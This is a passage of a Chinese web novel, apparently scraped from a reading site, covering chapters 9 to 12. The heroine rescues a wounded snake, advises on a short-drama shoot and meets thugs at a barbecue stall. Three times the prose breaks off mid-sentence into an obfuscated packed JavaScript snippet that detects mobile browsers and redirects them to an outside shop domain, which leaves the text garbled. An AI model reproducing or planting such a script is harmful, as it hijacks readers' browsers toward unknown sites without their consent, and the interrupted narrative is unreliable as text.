为了证明他对.方格的忠心,黑夹克心中一横,一咬牙,举起棍子,就往前冲,嘴里喊着:“冲啊啊……” 在所有人惊讶的目光下,他突破了方格的防线,跑起来,冲向烛天南。 烛天南一动不动,她身后的人也没有动弹的痕迹。 黑夹克感觉不太对劲,小跑了几步后,脚步慢慢停下来。 他突然发现,自己的身边,有点空荡,有点冷清,有点孤寂。 黑夹克像是有所预感,放下手中的东西,慢慢地回头。 那个即将笼罩着他余生的阴影,那段号称着朋友之间的背刺,那个他能想到的最坏的打算,那个他这辈子最不想面对的结果。 就在他的面前缓缓展开。 在他的十米之外,自己的队友们或闭上眼睛,或移开视线,既不敢跟他对视,也并没有跟上他的步伐。 就连方格,也扶额苦笑。 只有他一个人,突兀地闯进了对峙的两方中间的空隙,定格在一个滑稽的冲刺动作。 “冲啊啊”这句话还在这个空荡的地方回荡,展示着什么叫做渺渺回音,余音绕梁。 黑夹克从来没有一刻,感觉到这个世界这么大,这么空。 他费尽全力,也不想让别人看见自己。 在众目睽睽之下,黑夹克心如死灰,万念俱焚,默默地按下了倒放,一步又一步地退后,绕过了方格横着的手,回到了原来刚开始的位置。 除了那阵还在空中一直回荡的“冲啊啊”声,一切都回到了最开始的样子。 “你来干什么?”烛天南拯救了场面的尴尬,让话题回到最开始的地方。 方格却沉默了。 来报复吗? 还是算了吧。 本来他就是抱着能打就来打的态度,也想到烛天南的武力值可能会把他们打趴。 可是,他本心里是有那么一点点的希望的——万一,他们一群人一起上,说不定确实可以旗鼓相当。 甚至,说不定,就赢了。 只可惜,乌泱泱的一群人站在他的面前。他只是稍微看一眼,便犯了人头版的密集恐惧症。 那股“越败越战”的气焰已经消失了。 方格已经熄灭了报复的心思。 “我们……只是经过,你的,世界。”方格咽了下口水,带着众人,脚步整齐地后退三步,转身就想跑,道,“没有停留。” 也不打算再有任何停留了! “等会儿。”烛天南叫住了他们。 方格心里一抽,他后退三步,倒吸一口冷气,警惕地看着烛天南,声音却有些颤抖:“我们没找你麻烦,你别……无理取闹,对,无理取闹!” 烛天南慢悠悠地说:“你们以后……” 方格和黑夹克面面相觑,刹那间,黑夹克再次领悟到了方格心中的想法,钻出他们的领域,伸长脖子,义愤填膺地冲着烛天南呐喊:“三十年河东、三十年河西。我们一定会回来的!” “哦?”烛天南多看了几眼黑夹克。黑夹克旁边的方格捂脸,不愿意面对这个残酷的,丢脸的现实。 烛天南背后的人群骚.动了。她身后有一个人站出来,掏出自己的工作证件,道:“寻衅滋事罪,要坐五年及以下的牢。” 方格等人安静如鹌鹑。 黑夹克在看清证件上的文字后,不用方格伸长臂捞他,自动自觉地钻回去了。 他请求撤回刚刚他说过的那句话。 “我们只不过是散步,不小心走到了这个地方,哈哈。”方格讪笑,出来圆场。他一个人像母鸡妈妈一样,“护”着鸡崽子们,大家的脸上装饰着尴尬而不失礼貌的微笑,螃蟹般一步一步,消失在了烛天南等人的视线之中。 最后只留下了一句。“我们以后绝对不找你们的麻烦了。” 一群人面面相觑。 烛天南清清嗓子,道:“没事了,他们可能只是刻意来搞笑的。大家一起练吧。” 她顿了顿,加了一句,“我来看看你们的动作怎么样。” 大家齐声道:“是!” 【滴,真爱粉粉丝数量+58。】 美好的早晨就这么过去了,但日子总会有一些意外的惊喜的。 一个多星期后的某个夜晚,烛天南结束拍摄走在回家的路上,听到了周围有细细簌簌的声音,像是有东西摩擦树叶的响声。 不知道是不是她的错觉,这道声音似乎一直在跟着她。 烛天南四处张望,寻找来源。 最后在一盏暗黄的路灯旁边的灌木丛中,找到了一条绿色的藤蔓…… 不对,不是藤蔓。 是一条翠绿色的蛇。 然而此时,蛇的身上不仅有枯叶和杂草,还有许多血.肉.翻飞的划痕。鳞片东一块少西一块碎,殷红的鲜血在翠绿色的鳞片上,显得格外妖艳。 烛天南蹲下身,拿起旁边的树枝,试探性地戳了一下这条小绿蛇。 小绿蛇轻轻地晃动了一下自己的头,吐了下蛇信子。 还活着。 但这个伤势,看起来离死亡不远了。 烛天南皱着眉头,没有说话。 她倒不是不能救,只不过她现在没多少钱,寄居人下不说,连自己都省吃俭用,更不必说养活一条蛇。 烛天南先环顾四周,见到周围没有别人后,将小木棍伸向小青蛇,嘴里叨叨着:“见一面,便是缘分。只不过我现在没有钱,可能养不活你,但又不忍心你一条蛇死在这里。所以,我给你一根木棍,权当作你的一线生机。如果你想活的话,你就爬上这根树枝。” 烛天南当然知道蛇是听不懂人话的。 不过也有特例。她曾经流落到民间的时候,救到的那条小青蛇,就能通人性。 眼下的这条小青蛇,眼睛也是青色的。在暗黄的路灯下,闪着小小的光。它歪歪头,像是在思考烛天南的问题。 烛天南看见它这副傻傻愣愣的样子,苦笑了一声,心里便知道不要对所有蛇保有相同的滤镜。 她有点惆怅,打算移开树枝,放弃自己愚蠢的拯救行动。同时在心里也劝告自己,都已经过去了四千多年了,当时的那条小蛇早就死翘翘了。 放下过去,迎接未来才是最重要的…… 烛天南感觉手上的树枝一重。 她回过神来。 小青蛇像是察觉到了棍子即将要离开,不顾身上的伤痕,就像离弦的箭冲上去,将棍子缠绕得紧紧的,就像心里清楚这是它的最后一线生机一般。 可是它的动作太快了,而周围树枝又如刀一般锋利,缠绕到烛天南手上树枝的身躯又多添了几道伤痕,血珠沁出了伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162972|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很快便成了几条血痕。 烛天南一怔,问道:“你确定吗?跟着我,可是不仅没上顿还会没下顿。如果你真想跟我走……那你就……点一下头,对,就点头。” 小青蛇的神态有点恹恹的,它将树枝缠绕得更紧了,似乎是害怕被烛天南抛下,伤口流出来的血也更多了,看起来触目惊心。 也不知道是不是烛天南的错觉,小青蛇轻轻点了一下头。 想必它也是预感到,眼前的这根树枝是它唯一的生机吧。 烛天南一怔,过了半晌,她深吸一口气,将树枝抬起来,郑重地说:“君子一言,驷马难追。我会为我说过的话负责的。” 大不了……她多接点戏,多攒攒钱。 小青蛇缓缓顺着树枝爬行,尾尖一不小心搭在烛天南手背上,有点冰凉。 烛天南来到了门口时,却才想起第二个难题——小圆。 她不清楚小圆会不会害怕这条小蛇。 如果小圆害怕的话,她只能将这条小蛇放在楼梯间,再去喂它。 烛天南想了很多,心里有了对策后,抬手准备按门铃。 碰巧,小圆正好推门而出。 “咦,原来你在门口啊,怎么不直接进来?”小圆诧异后,莞尔一笑,“这附近挺乱的,我还担心你出了什么意外,正准备出去找你。” 小圆将手里的钥匙举起来,晃动几下,示意自己准备离开。 “额……我确实遇到了一个意外。”烛天南举起手中的树枝,伤痕累累的小青蛇缠绕着树枝,就像开满了红花的翠绿藤蔓,“在路边见到的。” 烛天南刮肠搜肚,想该如何劝说小圆接受这条小蛇,甚至预感到小圆会捂嘴震惊,上蹿下跳,大声尖叫。 谁知小圆只是扫了一眼烛天南手上的蛇,镇定地道:“哦,原来是一条小青蛇啊……看起来像翠绿蛇,没毒。你是想养它吗?” “暂时吧。等它恢复了,我再将它放生。”烛天南纠正道,“它受伤了,我总不能看见它就不管了。” “弱肉强食,优胜劣汰,有何不可?”小圆有些疑惑,嫌弃地看了一眼这条小蛇,道,“既然它死掉了,那说明是大自然将它淘汰掉的。” 也许是小圆的语气太过可怕,小青蛇被吓到了,缩成一团拳头般大小的小青球。在树枝上,就像一根绿色的棒棒糖。 烛天南笑道:“话虽如此,可古人云,人皆有恻隐之心。谁会忍心看待一个生命在自己的面前枯萎消亡呢?” “没想到你还文绉绉的。行吧,你赶紧进来吧。”小圆侧开身,笑道,“虽然是夏天,但外面的风还很大。吹感冒了,我们两个人可都没有钱治病。” 烛天南松了一口气,进去后,想起了什么,问:“你好像,并不害怕蛇?” “我认识的人有养蛇。”小圆眨了下眼睛,将门关上,锁好后,道,“长期接触下来,就脱敏了。” 烛天南正想说些什么, 小圆摆摆手,道:“没关系,你养吧。只是注意不要弄伤自己了。” 她也不管烛天南是怎么想的,径直走进了她的房间。 烛天南挠挠头,暂时不去考虑小圆了。 眼下当务之急,是给小青蛇包扎伤口。 只可惜,她并不知道医疗箱在哪里。 小青蛇已经解开了蛇球的状态,绕着树枝向远端爬去。 烛天南怕它掉下来,伤势加重,就将树枝放到地上。 小青蛇弯曲地爬行,最后停在了茶几的下面不动,吐了几下蛇信子。 烛天南走上前,蹲下来,低头一瞧。 底下藏着医疗箱。 “没想到你嗅觉还挺灵敏的。”烛天南略带惊讶,掏出了这个医疗箱。 面对瓶瓶罐罐,她陷入了深深的沉思。 双氧水,碘伏,纱布…… 字她都认得,但前两个是干什么的呀? 10. 第 10 章 此时,小蛇像是心有所感,察觉到了烛天南心里的疑惑。 它的头朝着双氧水方向,有气无力地吐了芯子。 烛天南心领神会,拿起双氧水打开,将这个双氧水倒在了它的身上。 “呲呲……” 双氧水跟伤口接触的那一瞬间,发出了轻微的泡泡破碎声,血肉瞬间泛出了白色的泡沫。小青蛇因疼痛剧烈地颤抖抽搐,但没有叫出声。 空气中弥漫着一股奇怪的味道,如果烛天南有生过病去看过医生,便知道这是专属于医院的味道。 烛天南连忙收回了手,仿佛设身处地感受到了它的疼痛。好在刚刚她的手滑,那些双氧水并没有浪费,正好将小青蛇的伤口全部覆盖住了。 她无师自通地拿出旁边的棉签,尝试撇去浮在伤口上的白泡沫。 那剩下的一瓶,应该是恢复的药吧。 烛天南凭借直觉,判断出刚才是在消毒。她不带犹豫地拿起小棕瓶碘伏,倒在了小青蛇的身上。 果不其然,当冰凉的棕色液体倒在了小青蛇身上时,它只是稍微动弹了几下,并没有刚才消毒时那么夸张。烛天南松了一口气,拿起绷带,给它包扎。 很快,小青蛇就变成了青白相间的棍子。 “果然,生物求生的本领是很强的。”烛天南感叹了一句小青蛇的坚强,并没有多想小青蛇的异常。 在新华夏,她已经知道了,建国后不会再有动物成精。 相信科学,是她的新座右铭。 【滴~真爱粉粉丝值数量+300】 “咦?”烛天南对这个语音播报感觉莫名其妙。 下一刻,她的小Q响了,有人给她发了个消息。 [万导演:咳咳,在吗?] [叫我陛下:?咋了。] [万导演:是这样的……你之前跟我们一起拍的短剧,你的片段小火了。很多人都很喜欢,强烈要求让你返场。我也来问问你。] 烛天南恍然大悟,怪不得她的真爱粉粉丝值数量上升了。 短剧跟其它影视剧不太一样的是,选角不容易受到约束,导演和编剧的话语权也高一点——就比如,她能够扮演皇帝。 也正是因为很少允许女生扮演皇帝,烛天南又演绎得出色。所以粉丝们的反馈才那么强烈。 [叫我陛下:可是,我不是已经剧情杀了吗?难不成,你们的狗血虐恋短剧后面要变成仙魔大战,直接把我复活了?] [万导演:这倒不至于哈。我是一个很有原则,很专一的人,绝对不会在中途偏题变心的。你的戏份大概是在男女主们的回忆里出现。至于片酬,给你加个一百块,怎么样?] [叫我陛下:我还有一个问题。] [万导演:包饭,给你特餐。] [叫我陛下:行,到时候你把时间发给我。] 烛天南美滋滋地放下手机,旁边的青白相间小蛇盘成了一圈蚊香,安安静静地躺在那里,像是陷入了深深的睡眠之中。 她简单地洗漱后,时间已经接近了凌晨。她躺在床上,睡意也像一条缠上她的小蛇,拉着她坠入无边的黑暗。 -- 夏日竖店的阳光晒又刺眼。仅仅是毫无防备地跟太阳接触了几秒,裸.露.在外的皮肤便像是有团火在灼烧一般,泛起一阵刺痛的涟漪。 五颜六色的遮阳伞撑开,投下了不同颜色的阴凉。 万导演正躲在一把遮阳伞下面,闪着蒲扇,翘着二郎腿。 旁边大型黑色的风扇一边喷着水汽,一边扇风。然而潮湿的空气在太阳的加工下变成了完美的桑拿房,吹得众人满头大汗。 周围也坐了几个拿着台词,准备对戏的人。 这场拍摄的是,庶二小姐与皇帝的初遇。她去自己母亲的坟前扫墓,偶遇到皇帝经过。皇帝看了她一眼,两人短暂地对视后,错开了视线。 这惊鸿一瞥,在庶二小姐的心中留下了浓墨重彩的一笔。也正是因为这一笔,让皇帝成为庶二小姐的白月光。所以在庶二小姐知道,摄政王是杀死皇帝的“罪魁祸首”时,她才会非常恨摄政王。 皇帝也顺理成章地被早早爱上庶二小姐的摄政王刁难。 两人现在的误会有多深,那么之后两人的爱恨情仇就会多么扭曲,多么狗血。 “这样一来,既能丰富女主的人设,又能加深后面男女主爱恨情仇。啧啧,真是天才。”万导演沾沾自喜,然后语重心长地拍了拍烛天南的肩膀,郑重地说:“虽然你没有多少台词,但恰恰是这种台词少的表演,更加考验你对这个人物的把握,以及你的演技。” “放心吧,导演。”烛天南也将手放在他的肩膀上,笑道,“其它角色我可能还要再学学……但是,皇帝,我是专业的。” “哈哈哈,年轻人还挺会开玩笑的。”万导演被烛天南的话逗乐了,挥挥手,说,“你去看看场景,跟庶二小姐对对戏吧。” 烛天南应了一声,去走了下位置。 她没助理,也没有伞。此时阳光倾泻而下,像是偏偏只爱烛天南一般,只为她的轮廓描摹着光,就像是神降临在世间,宠爱世人,她背手走着位置,行如闲云悠悠风,每一步都牵扯到了看客的心弦。 周围的人看呆了,不敢大声呼吸,仿佛呼出的浊气会污染这幅完美的画面。 突然,演庶二小姐的演员撑着一把伞,跑出来,在烛天南疑惑的目光下,撑在了烛天南的头上,有点羞涩地说:“你这么白,不要晒黑了。” “晒黑?日月都不敢与朕争辉。”烛天南背手,骄傲地说。 “好好好,皇上的光辉是最耀眼的。”庶二小姐捂住嘴,浅浅一笑。 烛天南看见了坟墓上一排全部都是白黄的菊花,有些诧异,道:“咦?这里……为什么只有菊花?” “扫墓,不都是只用菊花的吗?”一旁的场景老师笑道,“在这个时间,还挺难找到这种菊花呢。” “是呀。这个时间点,正是庶二小姐被府中的人排挤,身无分文的同时,还面临着不受宠的母亲过世的悲痛日子。”编剧不知道什么时候冒出来,也点头道,“再者,菊花也有清高孤傲的气节,正好与她母亲的性格相对应。” “送菊花当然没问题,但是,只送菊花就有点问题了。”烛天南指着旁边的两个装满菊花的篮子,笑着说,“能让皇帝偷偷来扫墓,必然是她们的感情非常好。因此,皇帝对其的评价,必然不可能像旁人眼中那样的孤傲,自然也不太可能只送菊花了。” 布置场景的老师也想到了这一层,不自觉地点点头,问:“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188116|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得,应该选哪个呢?” 大家的眼睛集中在烛天南的身上,等待着她进一步的话。 “象征自由的花吧。”烛天南说得很含糊。 她心里有想法,但却不知道那些花在这个时代有没有灭绝。 “难不成,兰花,荷花,还是梅花?”编剧抓耳挠腮,实在是想不出还有什么花,说,“不仅要考虑表情达意是否正确,还得现在就能用上。这确实太难办了。” “其实,不一定必须得从名贵的花里选。”烛天南慢悠悠地甩了下袖子,暗示道,“皇帝她可是还被摄政王夺权了。皇帝既然被冷落到连保护她的人都没有,又怎么可能,有资格拿到这些名贵的花?” 编剧若有所思,视线突然锁定在不远处,湖边飘荡的菖蒲丛,拍了拍脑袋,指着那丛菖蒲,惊喜道:“我懂了,我想到了,可以用那个。” 烛天南知道了编剧明白了她的意思,赞同地点头。然而其他人一脸莫名其妙,摸不着头脑。 看着烛天南和编剧两人勾肩搭背,互相知道对方所思所想却不说出来,场景老师着急地说:“你们别打哑谜了,快点告诉我吧。” “庶二小姐的母亲不愿与世俗同流合污,但不得不被框限在封建社会的牢笼里,最后死去了。换个角度想想,她不也算是突破了牢笼,争取到了属于自己的自由嘛。”编剧喜上眉梢,有点语无伦次,“菖蒲这类植物,一是容易拿到,符合皇帝此刻的处境。二是生长在无拘无束的湖边,有不被世俗约束的自由之感。” 场景老师和庶二小姐止不住地赞叹道:“天啊,太妙了。” “更重要的是,两组还可以进行对比。庶二小姐的母亲已经死去,得到了自己的自由。可是皇帝却还是摄政王的傀儡,一举一动不能所愿。被控制的人,祝愿获得自由的人,往后自由自在——这何尝不也是对自己的祝愿。”烛天南加了这一句。 编剧紧跟着:“这样,还可以为皇帝被刺杀的死亡加一个合理的理由——她只是不想被控制了,是向往自由。但她无法反抗周遭,只能做跟友人一样的选择,死亡。” 编剧情不自禁跟烛天南击掌,激动地说:“可以可以——我原本还以为会很割裂,甚至这样,格局都打开了。” 场地老师又问:“难道庶二小姐的花,也选菖蒲吗?” “不一样。庶二小姐的处境更加糟糕,身上都没有钱,所以只能用纸扎花,还能够染色。”烛天南的眼睛划过一道怅惘,最后补充了一句,“当然,这只不过是寡人浅薄的想法。可采纳也不采纳。” “哪里浅薄啊,这也太及时了!”编剧老师眉飞色舞。 谁能想到,这原本只不过是一部小情小爱的剧本呀。 场景老师跑去摘一朵菖蒲,其他人紧急扎纸花。 一镜到底,补光,补拍…… 拍摄非常顺利。一套流程下来,大家其乐融融地收工了。 烛天南也乐呵呵,拿了五百元。 她逛了一圈附近的花鸟市场,找到了一家卖仓鼠的,买了一只带回家。 正准备推开房间的门时,烛天南突然听见了一个熟悉的声音。 “我警告你,你可不要……” 烛天南的动作一顿。 小圆,在她的房间里,做什么? 11. 第 11 章 烛天南不动声色,静静地站在门口。 门口里的声音小了一些,只有小圆的声音,没有其他的。 “说出去都嫌丢我们家脸。” 小圆在跟谁说话? 烛天南思索着,觉得自己现在不太适合出现在这里。 她刚想转身离开,但不知为何,手中提着的仓鼠发出惨烈的尖叫。 “谁在外面?” 房间门猛地推开。 半是警惕半是恼怒的小圆对上了烛天南懵懂的双眼,突然虎躯一震。 小圆脸上表情变成了尴尬,充满着被抓包的困窘。 “啊……哈哈,你回来了?”小圆僵硬地靠着门,一步一步地挪移出去,讪笑。 “你……刚刚跟谁说话?”烛天南发出灵魂拷问。 “我我我……我在打电话,哈哈。” “是跟……爱人?” “狗屁!”小圆立马否定,“额……是跟我那个不争气的弟弟他东西落在这儿了,来你房间……取点东西。” “那东西呢?”烛天南看见小圆手中空无一物,有点好奇。 “我记错了,根本不在这里。”小圆慌忙转移话题,“咦,我刚刚好像听见了有东西在叫,是什么?” “啊……这是我刚刚去花鸟市场买的小仓鼠。我记得,蛇是吃这些东西的,对吧?”烛天南举起了手中的小仓鼠,它看起来刚刚出生,粉嫩的外表下,如红豆般的小眼睛正好与小圆的双眼对上。 小圆沉默了两秒,看清烛天南手中的小仓鼠后,发出了尖锐的爆鸣声。“啊啊啊啊有老鼠。” 她原地弹射到烛天南的四五米远,接着以迅雷不及掩耳之势,逃到了她的房间。 “咚”的一声,门被合上了。 烛天南提着小仓鼠,面面相觑。 小仓鼠“吱”了一声,看起来可怜兮兮的。 烛天南以为,小圆连蛇都不怕,就绝不会害怕这种粉嫩的小仓鼠。 谁知,小圆的反应完美地踩在了烛天南的意料之外。 烛天南耸耸肩,推开门,小蛇还在原来的位置。 它身上的绷带已经拆了七七八八,伤口上的鳞片也重新长出来了。不敢,也许是因为小蛇习惯了身体有伤口,所以它总是懒洋洋地窝成一团。就算烛天南将它放在一个没有盖子的盒子里,它也一动不动。 刚才小圆翻箱倒柜,跟她弟弟聊天的声音似乎并没有影响到它。察觉到烛天南靠近它,小青蛇吐着芯子,蹭了蹭烛天南的手背。 至于烛天南手上的小仓鼠——小青蛇似乎对它并不感兴趣。 “听别人说,小蛇喜欢吃小仓鼠。这可是我花了大价钱,买回来的小仓鼠哦。”烛天南将这只可怜的,新生的小仓鼠递到小青蛇旁边,同时准备闭上了眼睛。 正所谓,古人云,君子远庖厨。 小青蛇撇过头。 “你不能不吃饭呀,饿着自己怎么办。”烛天南一只手将它的头掰回来,顺手摸了两把小青蛇的头,见到小青蛇并没有反抗,便将小仓鼠塞到它嘴边。 小青蛇的尾巴扫来扫去。它慢慢缠上上了烛天南的手臂,然后下一秒,它张开嘴,如离弦的箭,“噌”地弹射,咬到了小仓鼠…… 旁边,烛天南的手腕上。 “吱————” 小仓鼠被吓得疯狂尖叫,痛哭流泪,整只鼠躯像得了帕金森般,剧烈地颤抖。它红豆般大小的眼睛充满着绝望和悲伤,仿佛在隔空向自己的家人们告别,让它们不用做自己的晚餐了。 它已经当了别人的晚餐。 烛天南看着咬到了自己的小蛇,和在手上疯狂挣扎的小鼠。 陷入了深深的沉思。 怎么感觉,她捡回来的小青蛇,和买回来的小仓鼠,好像都不怎么聪明的样子。 烛天南再次尝试喂了几次,而小青蛇还是无动于衷。 最终,烛天南只能选择放弃喂食。而小仓鼠,就给小青蛇作伴吧。 好在她只买了一只小仓鼠。 烛天南翻找到了一个新的小盒子,权当作小仓鼠的家,放在小青蛇的旁边。 从头到尾,小青蛇一直盘在她的手上,一直咬着烛天南的手腕。见到“零食仓”变成了自己的“同伴”已经成了注定的事实,小青蛇不情不愿地松开了嘴。 两个浅浅的印子在手腕上,再过几分钟就可以复原了。 看得出,它没有使多大的力气。 “看来朕这么多天,没白养你。”烛天南将两个宠物安置好,想起了什么般,跑到小圆房间门口,敲门问道:“小圆小圆,这条小青蛇好像不吃东西,怎么办?” “你那条?嚯,不用管它。它饿了就会自己去找吃的。”小圆的声音隔着门,有点微弱,“你不会是想给它喂了那只老鼠吧?” “对。但它不吃……” “不用管它,相信我。”小圆的声音隐隐伴随着磨牙声。 此时,烛天南的小Q又响了。 [万导演:哈哈哈,烛天南你知道吗?我们的短剧小爆了!就是那段扫墓的惊鸿一瞥,被华夏古礼协会点名表扬了,那个片段成了经典的正向科普视频,全网相关片段的播放量是整部剧的几十倍。听说,你也参与了指导,我们特地把你的名字加进去了。哈哈哈,我们有出息啦!] 烛天南对此并不放在心上。 [万导演:粉丝们都哭惨了,说一定要你再来演演。你要不要,再来客串客串?] 这次,烛天南却没有再答应了。 [叫我陛下:不了,再多的话就喧宾夺主了。] 烛天南深知,什么是过犹不及。 万导演尊重烛天南的想法,并没有怪她,甚至给她一个面试的机会。 [万导演:我有个朋友,也是干导演的,叫俞敏。她最近在找演员,也恰好在拍古代的网剧。如果你想的话,可以……] [叫我陛下:直接内定?] [万导演:想得美。我可以给你推荐的机会,但是你能不能被选上,那就得靠你的造化了。] 说完,万导演发给烛天南一个剧本。 [叫我陛下:导演,你人真好。] [万导演:古人云,苟富贵,勿相忘。] 烛天南看了下时间,接下来的时间没有安排,又想起江易齐推荐过她一家烧烤店。 这段时间,她已经小有积蓄了。 存款光荣地突破了三位数。 烛天南美滋滋地起身,准备离开。 小青蛇像是察觉到她要走,探起头爬出了它的小窝,爬到烛天南旁边。 烛天南余光中看见了它,担心它乱跑又受伤了,连忙将它拎起来,打算将它放回去。 然而,小青蛇顺势而上,缠在了她的手腕上,而后一动不动。 不知情的人看着,倒像是一块漂亮的蛇形翡翠玉环。 烛天南点了点小青蛇的头,小青蛇如她所愿,抬起头,看向烛天南。 翠绿色的眼珠子就像是雾中的山林,此刻就像是山野精灵一般,懵懵懂懂。 烛天南劝道:“这个……我等会儿要去的地方,蛇蛇是不能去的,所以你在家里呆着吧。” 小青蛇侧过脑袋,缠得更紧了。 “……你在家里呆着,我很快就会回来的。”烛天南一本正经地画饼。 小青蛇张开嘴,再次咬到了烛天南的小手指,仿佛将小手指当成了它的攻击对象。 这倒是提醒了烛天南,她养的这只小青蛇的智商确实不太够。 “行吧行吧……我跟一只小傻蛇较劲什么。”烛天南无奈地叹了口气,任凭小蛇挂在自己的手腕上。 -- 烧烤店门庭若市,木炭燃烧的烟雾勾勒出广告牌的灯光。激情四射的草原民歌作为背景音乐,让人以为自己就在草原上策马奔腾。 烛天南站在价目表面前,陷入了沉思。 如果全部都点,那么她口袋里的钞票就会跟她说再见。 如果不点,那么她就白来了。 突然,烛天南感到有个东西正在飞速地靠近她。 她心惊:在这个社会,也会有人使用这种暗器? 烛天南按兵不动,在那个东西掀起了的风迅速接近她时,她侧身一躲,顺利躲掉了这个杀伤力极大的…… 江易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200583|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐。 “诶,师父,你真在这里啊?” 江易齐扑了个空,差点摔了个狗啃泥。他停下脚步,身体止不住地往前倾,在他惊恐的目光下,他的双手在空中挥舞着,像划船一般,将自己的身体停泊到了原来的位置。 目睹完整个过程的烛天南,默默地比了个大拇指。 江易齐乐呵呵地说,“正好,我们协会的人举行团建,就在这里。” 什……什么?团建? 江易齐指了指自己的位置——烧烤店的门口坐了一个大桌,都是S市传统武学交流学会的人。 “师祖好!” 众人朝着烛天南挥手,整齐响亮的口号甚至盖过了背景板的音乐声。 路人们齐刷刷地向烛天南投向奇怪的眼神。 烛天南甚至都还听到了几个客人小声地说:“都什么年代了,还‘师祖’呢。” “说不定是在拍戏呢。” “那我说,还说不定是集体的神经病呢。” 烛天南面无表情。 她决定装作自己不认识这群人。 江易齐向烛天南发出邀请,道:“来来来,师父,加入我们吧,咱一起吃。独乐乐不如众乐乐啦。” 烛天南:…… 嘿嘿,其实也不是不行啦。 烛天南笑眯眯地加入团建之中。 “师祖能喝酒吗?这可是今年最流行的啤酒,听说味道非常正宗。”有人举了绿色啤酒瓶,被旁边的人拍了下肩膀,斥责道,“师祖可是非常自律的人。她每天风雨无阻都要锻炼身体,喝酒既容易断片,又容易伤身体。还是别给师祖这个吧。” 笑呵呵的,正准备接过啤酒瓶的烛天南:…… 说得对。 江易齐倒了两杯黑色的水,递给她一杯。水的表面还在冒着气泡,散发着某种甜滋滋的味道。 烛天南顿时紧绷住了。 果然,前面铺垫了那么多,就是为了给她下如此明显的毒! 从没见过如此歹毒之人! 下一刻,江易齐一口干了他那一杯,嘴里嚷嚷道:“感谢师父。” 立马有人笑着推搡他,道:“只是喝可乐,就让你喝出了敬长辈酒的样子。” “这杯是敬师祖,愿意不计前嫌教我们。”一个人说完后,也直接干了。 听到这句话,烛天南才发现,人群中也有几个人很眼熟——是当时围堵她的大汉们。 烛天南倒是忍不住多看了几眼江易齐。 想不到,江易齐这个人还是有点手段,竟然能够让大汉们都愿意听他的。 氛围非常愉快,烛天南也被感染了,融入到这里。 手腕上的小青蛇动了动,似乎是想尝尝可乐。 烛天南怕惹人恐慌,只好将可乐放到桌下,借着桌子的阴影,让小青蛇尝尝。 小青蛇得寸进尺,想吃烧烤的肉,还只吃辣的。 烛天南只能借着灯红酒绿,夜晚的光线不好,悄悄地给它喂吃的。 真是一条怪蛇。烛天南暗暗地腹诽。 “师父,你帮我们去催催鸡翅。我就不信了,这次还赢不了他们!”江易齐的脸上贴满了白色的纸条。其他人脸上也有,但比江易齐少了太多。 他们沉迷于剪刀石头布这个简单小游戏许久。烛天南自知身为“师祖”,应该照顾这些小辈们,去催了催老板,顺便去上个厕所。 回来时,烛天南顺便端着一盆鸡翅,乐呵呵地看着一切——直到她发现,外面一片兵荒马乱。 有人闹事。 “喂,保护费,知道吗?”一个看起来只有十几岁的小年轻,满脸凶神恶煞,一只脚踩在椅子上,一手举着狼牙棒,另一只手叉腰。 后面跟着七八个人,看起来年龄跟那个小年轻相仿,像是混社会的黄毛们。 协会的人走了七七八八。江易齐还是跟她第一次见面的那样,挡在几个女生的面前,义正言辞地说:“地头蛇,你不准乱来。” 地头蛇冷笑一声,吐出一根牙签,道:“你又来了?呵呵,你这只滑不溜秋的泥鳅,是绝对难不倒我这条外表单纯实际邪恶的地头蛇的,嘶嘶。” 12. 第 12 章 在混乱的场景中,最镇定的反而是旁边的烧烤店老板,他气定神闲地往烧烤上撒孜然,看起来没受到外界的干扰。 察觉到烛天南的视线,老板递给她一串烧烤,说:“喏,请你的,吃吗?” “你还挺淡定的。”烛天南接过了这串烧烤,尝了一口,舌尖迸发着绝妙的味道,惊艳了她的味蕾。 “经过多了,就习惯了。”老板也拿起一串烤好的羊肉串,尝了一口,满意地点头。 看见老板如此镇定,烛天南也不着急了。 她拿出手机,正好看见协会成员给她发的一条消息,让她拖一下时间,他们去搬救兵。 外面的两方对峙,绿化带的树木也飒飒作响,似乎是在为他们摇旗呐喊。 江易齐扫了他们一眼,看见烛天南的时候,眼睛亮了。 烛天南感到一个不详的预感。 下一秒,预感成了现实,江易齐喜极而泣,道:“师父,快救我!” 大家的视线齐刷刷地聚焦在烛天南的身上,后者正在吃烧烤。 烛天南:“……嗨?” “师父,现在不是讲礼貌的时候了!”江易齐泪流满面的同时,高声提醒烛天南此刻的状况,“他们这群地头蛇,特地过来抢劫的!” 地头蛇等人脸上的表情变得凝重了,戒备心浮现出了眼底,嘴巴抿成一条线。 